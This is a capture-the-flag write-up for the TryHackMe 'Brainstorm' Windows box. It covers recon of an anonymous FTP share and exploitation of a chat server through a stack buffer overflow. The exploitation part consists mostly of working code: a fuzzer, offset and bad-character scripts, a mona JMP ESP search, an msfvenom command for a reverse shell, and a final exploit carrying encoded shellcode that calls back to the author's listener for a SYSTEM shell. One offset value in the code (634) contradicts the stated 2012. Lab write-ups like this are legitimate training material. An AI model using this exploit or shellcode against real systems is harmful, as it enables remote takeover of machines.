Brainstorm
A medium Windows box from TryHackMe, notice a chat applications code on an open FTP server - also running on port 9999, and see that it’s vulnerable to a buffer overflow.
Recon
Running the usual nmap
sudo nmap -sC -sV 10.10.61.16
See theres an open FTP port with anonymous access on port 21
And an unknown service running on 9999
Connecting to the ftp server
ftp ftp@10.10.61.16
See a couple files inside a “chatserver” directory, chatserver.exe and essfunc.dll
Since these are binary files, download them with
ftp> bin
200 Type set to I.
ftp> mget *
Exploitation
Opening a Windows 7 VM, download the latest version of Immunity Debugger
Inside the VM, download python 2.7.1 for immunity to work here
Then download mona.py from here
Now open the Immunity debugger, and open chatserver.exe
Interacting with the chatserver.exe through netcat, see that there are two inputs, name and message
nc 10.10.61.16 9999
Welcome to Brainstorm chat (beta)
Please enter your username (max 20 characters): Name
Write a message: Message
Trying a 3000 long string with
python3 -c "print('A' * 3000)"
And pasting it into the “username” field, program doesnt crash
But inside the message field, it does crash
So, to find out roughly how many bytes it crashes at, write a fuzzer.py script
#!/usr/bin/env python3
import socket, time, sys
ip = "LOCAL_IP"
port = 9999
timeout = 5
string = "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
s.send(bytes("GG", "latin-1"))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
Running it with
python3 fuzzer.py
Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzing with 1200 bytes
Fuzzing with 1300 bytes
Fuzzing with 1400 bytes
Fuzzing with 1500 bytes
Fuzzing with 1600 bytes
Fuzzing with 1700 bytes
Fuzzing with 1800 bytes
Fuzzing with 1900 bytes
Fuzzing with 2000 bytes
Fuzzing with 2100 bytes
Fuzzing crashed at 2200 bytes
It crashes at 2200 bytes, and inside Immunity Debugger, see that it indeed crashed with a bunch of As inside the EIP register
Using a pattern to find the EIP offset
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2500
Paste the result into a simple exploit script, very similar to the fuzzer, just with no loop
import socket
ip = "LOCAL_IP"
port = 9999
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D"
postfix = ""
buffer = overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
s.recv(1024)
s.send(bytes("GG", "latin-1"))
s.recv(1024)
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
Then resetting chatserver.exe in immunity, run the script, look at the EIP registers value when the program crashes to find the offset
Here, the value is 31704330
Find the offset with
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2500 -q 31704330
[*] Exact match at offset 2012
Can check if you can control the IEP register with changing “retn” in the script to be “BBBB” - running the exploit again, should see the IEP register be equal to 42424242 (4 B’s)
Now need to find bad characters
Using all characters from 0x01 to 0xff, need to see if they work (0x00 is a null byte and is always a bad character)
Changing the offset value in the script to 2012, and set the payload to a list of all characters in that range
offset = 634
overflow = "A" * offset
payload = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
Then reset immunity, run the executable, crash it with the script, right click on the ESP register, and click Follow in Dump
The values you send should be counting up 0x01 through to 0xff in the bottom left pane
Wherever the bytes dont count in order, thats a bad byte, take it out of the payload, reset and rerun, checking everytime untill the remaining payload has no bad bytes
In this case, the only bad character is 0x00 as every other character showed up in order
Now using mona in Immunity Debugger to find a jump point to set our EIP register to
!mona jmp -r esp -b "0x00"
Find a JMP ESP at 0x625014df
Now all thats left is creating a reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.6.107.137 LPORT=4444 -e x86/shikata_ga_nai -b "\x00" -f c -v payload
Changing the payload to the output of msfvenom, the IP from the local VM IP to the target IP, and adding a 32byte NOP sled, end up with
import socket
ip = "10.10.61.16"
port = 9999
offset = 2012
overflow = "A" * offset
retn = "\xdf\x14\x50\x62"
padding = "\x90" * 32
payload = ("\xb8\xfd\x72\x2a\x41\xd9\xf6\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x52\x31\x46\x12\x83\xee\xfc\x03\xbb\x7c\xc8\xb4\xbf\x69\x8e"
"\x37\x3f\x6a\xef\xbe\xda\x5b\x2f\xa4\xaf\xcc\x9f\xae\xfd\xe0"
"\x54\xe2\x15\x72\x18\x2b\x1a\x33\x97\x0d\x15\xc4\x84\x6e\x34"
"\x46\xd7\xa2\x96\x77\x18\xb7\xd7\xb0\x45\x3a\x85\x69\x01\xe9"
"\x39\x1d\x5f\x32\xb2\x6d\x71\x32\x27\x25\x70\x13\xf6\x3d\x2b"
"\xb3\xf9\x92\x47\xfa\xe1\xf7\x62\xb4\x9a\xcc\x19\x47\x4a\x1d"
"\xe1\xe4\xb3\x91\x10\xf4\xf4\x16\xcb\x83\x0c\x65\x76\x94\xcb"
"\x17\xac\x11\xcf\xb0\x27\x81\x2b\x40\xeb\x54\xb8\x4e\x40\x12"
"\xe6\x52\x57\xf7\x9d\x6f\xdc\xf6\x71\xe6\xa6\xdc\x55\xa2\x7d"
"\x7c\xcc\x0e\xd3\x81\x0e\xf1\x8c\x27\x45\x1c\xd8\x55\x04\x49"
"\x2d\x54\xb6\x89\x39\xef\xc5\xbb\xe6\x5b\x41\xf0\x6f\x42\x96"
"\xf7\x45\x32\x08\x06\x66\x43\x01\xcd\x32\x13\x39\xe4\x3a\xf8"
"\xb9\x09\xef\xaf\xe9\xa5\x40\x10\x59\x06\x31\xf8\xb3\x89\x6e"
"\x18\xbc\x43\x07\xb3\x47\x04\x22\x42\x2c\x5d\x5a\x48\xb2\x4c"
"\xc7\xc5\x54\x04\xe7\x83\xcf\xb1\x9e\x89\x9b\x20\x5e\x04\xe6"
"\x63\xd4\xab\x17\x2d\x1d\xc1\x0b\xda\xed\x9c\x71\x4d\xf1\x0a"
"\x1d\x11\x60\xd1\xdd\x5c\x99\x4e\x8a\x09\x6f\x87\x5e\xa4\xd6"
"\x31\x7c\x35\x8e\x7a\xc4\xe2\x73\x84\xc5\x67\xcf\xa2\xd5\xb1"
"\xd0\xee\x81\x6d\x87\xb8\x7f\xc8\x71\x0b\x29\x82\x2e\xc5\xbd"
"\x53\x1d\xd6\xbb\x5b\x48\xa0\x23\xed\x25\xf5\x5c\xc2\xa1\xf1"
"\x25\x3e\x52\xfd\xfc\xfa\x62\xb4\x5c\xaa\xea\x11\x35\xee\x76"
"\xa2\xe0\x2d\x8f\x21\x00\xce\x74\x39\x61\xcb\x31\xfd\x9a\xa1"
"\x2a\x68\x9c\x16\x4a\xb9")
postfix = ""
buffer = overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
s.recv(1024)
s.send(bytes("GG", "latin-1"))
s.recv(1024)
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
Start a listener on 4444 and run the script, catching a SYSTEM shell.